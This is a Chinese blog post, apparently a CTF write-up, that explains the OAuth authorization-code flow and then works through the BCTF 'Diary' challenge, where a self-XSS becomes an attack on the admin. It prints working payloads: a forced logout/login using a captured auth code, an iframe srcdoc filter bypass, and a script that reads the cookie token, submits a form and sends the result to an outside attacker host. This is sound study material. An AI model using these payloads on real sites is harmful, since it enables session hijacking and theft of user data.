OAuth授权流程学习以及Turning Self-XSS into Good-XSS

说起来是因为对BCTF的Dairy题目重新复习才写了这篇笔记,原谅我当时没吃透这道题的原理,近日看Ven师傅的wp中提到了OAuth授权,才意识到出这道题目的用意。。。

学习OAuth

首先需要学习OAuth,这里推荐这篇文章———理解OAuth 2.0,只看其中最常见的授权码模式就可以了,本题就用的这种模式。说白了就是平常我们上网站经常看到登陆的时候可以选择通过qq登陆,微信登陆,微博登陆啊这种登录模式,点击后我们在跳出来的页面上给出授权,就可以成功登陆网站了

我们可以举个例子来体验下阮老师文章里所说的过程,我是使用freebuf测试的

  1. freebuf将我们导向qq的认证服务器,同时附加上所需要的参数

    1
    2
    3
    4
    5
    6
    https://graph.qq.com/oauth2.0/authorize
    ?response_type=code 授权类型response_type=code表示是授权码模式的验证
    &client_id=100578783 表明自己客户端的id
    &redirect_uri=https://account.tophant.com/qq.html 指定重定向的url redirect_uri
    &state=2d5c6bac1ec4c0be640766dacbd2127c 自己的状态码
    &scope=get_user_info 客户端要的权限scope
  2. 在我点击授权后,qq将我们重定向到freebuf所指定的redirect_uri,并携带有授权码code

    1
    2
    3
    https://account.tophant.com/qq.html
    ?code=6DDBE8E30017C9C44C55F45B2A53A015 关键的授权码code
    &state=875cf715b9163b0e73f6f6b88afb9475 状态码,非必要
  3. 在第一条链接中我们可以看到freebuf申请的权限是get_user_info,那么之后freebuf就可以拿着code向qq获取我的用户信息来作为freebuf的登陆识别

最后多嘴一句,这里要分清两种登陆状态,一种是qq的登陆状态,也就是资源提供者,另一种是freebuf的登陆状态,是通过访问qq认证之后拿到code码实现登陆的

结合Diary题目学习Turning Self-XSS into Good-XSS

题目有两个域

  • diary.bctf.xctf.org.cn

  • auth.bctf.xctf.org.cn

登陆机制介绍
如果想登陆diary域的话,会被定向到auth域内,输入用户名密码实现登陆后,会发送链接到auth.bctf.xctf.org.cn/o/authorize/来获取code,auth域会给code并将用户定位到diary域来实现diary域的登陆,所以可以看到这里auth域扮演者类似qq的资源提供者的角色,而diary域扮演着类似freebuf的客户端的角色

两个xss点介绍
然后再看下xss点,我们可以给admin发送链接,通过这个url漏洞可以将admin定位到任意url点http://diary.bctf.xctf.org.cn/static/%5c%5cxss平台/xss.html
另外一个xss点是在我们以自己的身份登陆的时候可以在diary域看到自己的留言,这块只能让admin以我们的身份登陆的时候才能看到并触发

xss点过滤介绍
第一个xss点因为是在我们自己的vps上触发,所以是没有任何过滤的
第二个xss点是在留言板上回显,通过filter.js对输出进行了一些编码,通过HTML实体编码或者<iframe srcdoc="<img src=x onerror='alert(1);'>">都可以绕过

我们的目的以及利用思路介绍
要拿到flag需要让admin在http://diary.bctf.xctf.org.cn/survey/下提交表单,并携带自己cookie中的token才行,第一个xss点在自己的vps上是拿不到cookie的,所以我们只能着眼与第二个域内的xss点才能通过js代码拿admin的cookie中的信息,而第二个xss点需要在自己的账户才能触发,所以需要让admin先退出在diary的登陆,然后登陆我们自己的账户才能触发代码,这块代码需要将admin登陆回自己的账户,再拿取cookie中信息并进行表单提交,最后拿到flag。
整个流程中的两处logout以及login需要留意,因为涉及到OAuth的操作方式,这也是我们在下面具体操作过程中需要留意的

具体操作过程
首先通过第一个xss点让admin定位到我们自己的xss.html里面,这里面需要退出admin在diary内的登陆,然后登陆我们的账户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<meta http-equiv="Content-Security-Policy" content="img-src http://diary.bctf.xctf.org.cn/">
<img src="http://diary.bctf.xctf.org.cn/accounts/logout/" onerror="login();">
<script>
var login = function() {
var loginImg = document.createElement('img');
loginImg.src = "http://diary.bctf.xctf.org.cn/accounts/login/";
loginImg.onerror = redir;
}
var redir = function() {
//这里code是登陆的时候抓包拦下来的
var code="d4SOl5u07GvJhsz5co1V084hGrQLoz";
var loginImg2 = document.createElement('img');
loginImg2.src = 'http://diary.bctf.xctf.org.cn/o/receive_authcode?state=preauth&code='+code;
loginImg2.onerror = function() {
window.location = 'http://diary.bctf.xctf.org.cn/diary/';
}
}
</script>

留意登陆我们账户的过程,正常登陆过程是向auth域内的认证页面发送请求,验证auth域登陆状态后发送code回去,但这里我们auth域的登陆状态是admin的,所以这里我们直接跳过第一个url,直接向diary域发送由auth下发的代表我们自己账户的code,那code怎么来呢?通过burp抓包就可以了,注意burp中要把那个发送code的请求拦下来晾在那里不要发出去,这样我们就成功的让admin以我们自己的身份登陆了,之后将admin浏览器定位到第二个xss点

这里的我们我们要做的任务就是将admin重新登陆自己的账户,并POST表单来拿flag,这里怎么登陆呢,其实很简单,我们直接向auth域发送登陆请求就可以了,因为admin浏览器的auth域一直都在以admin的身份登陆着,所以下发的code就可以让admin登陆回自己的diary域。之后就是通过xhr提交表单请求,并发送页面反馈信息回自己的xss平台拿到flag

1
2
第二个xss点,跳转到post.js执行js代码
<iframe srcdoc="<script src='http://diary.bctf.xctf.org.cn/static/js/jquery.min.js'></script><script src='http://104.160.43.154:8000/myjs/post.js'></script>">

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
post.js
var loginIframe = window.top.document.createElement('iframe');
loginIframe.setAttribute('src', 'http://104.160.43.154:8000/myjs/in_and_out.html');
window.top.document.body.appendChild(loginIframe);
setTimeout(function() {
$.post("http://diary.bctf.xctf.org.cn/survey/",
{
rate:'5',
suggestion:'123',
csrfmiddlewaretoken:document.cookie.split(';')[0].split('=')[1]
},
function (data){
$.get("http://xss平台?a="+escape(data),functoon(data,status){});
}
);
}, 6000);

一点感想

xss题目一直是比赛中必出的一类题,玩法多样有趣,我从今年三月份开始打ctf并学习xss到现在,xss题目没做多少,也就是0ctf里那两道以及bctf这一道,还有看各路大佬打pwnhub后写的xss题目的wp,但笔记就已经做了万把字了,主要原因还是在于xss题目trick极多,比较难入手,(不过还是同意wupco师傅说的,自己菜才是原罪2333)。等到有一天觉得自己对xss了解的够多了,就把这一路的笔记发出来,毕竟相比sql注入啥的漏洞,xss的学习资源更少,逻辑也更绕,手法也更多样,哎算了,就我的xss水平还是先别立flag了,先踏实做吧。
对了,每次做xss题目,输入payload然后盯着自己的xss平台等访问请求的那种感觉真的是贼爽,如果真的接收到了发过来的访问就感觉和中了彩票一样高兴,我想这也是支持我去一点点的学习xss的主要原因吧。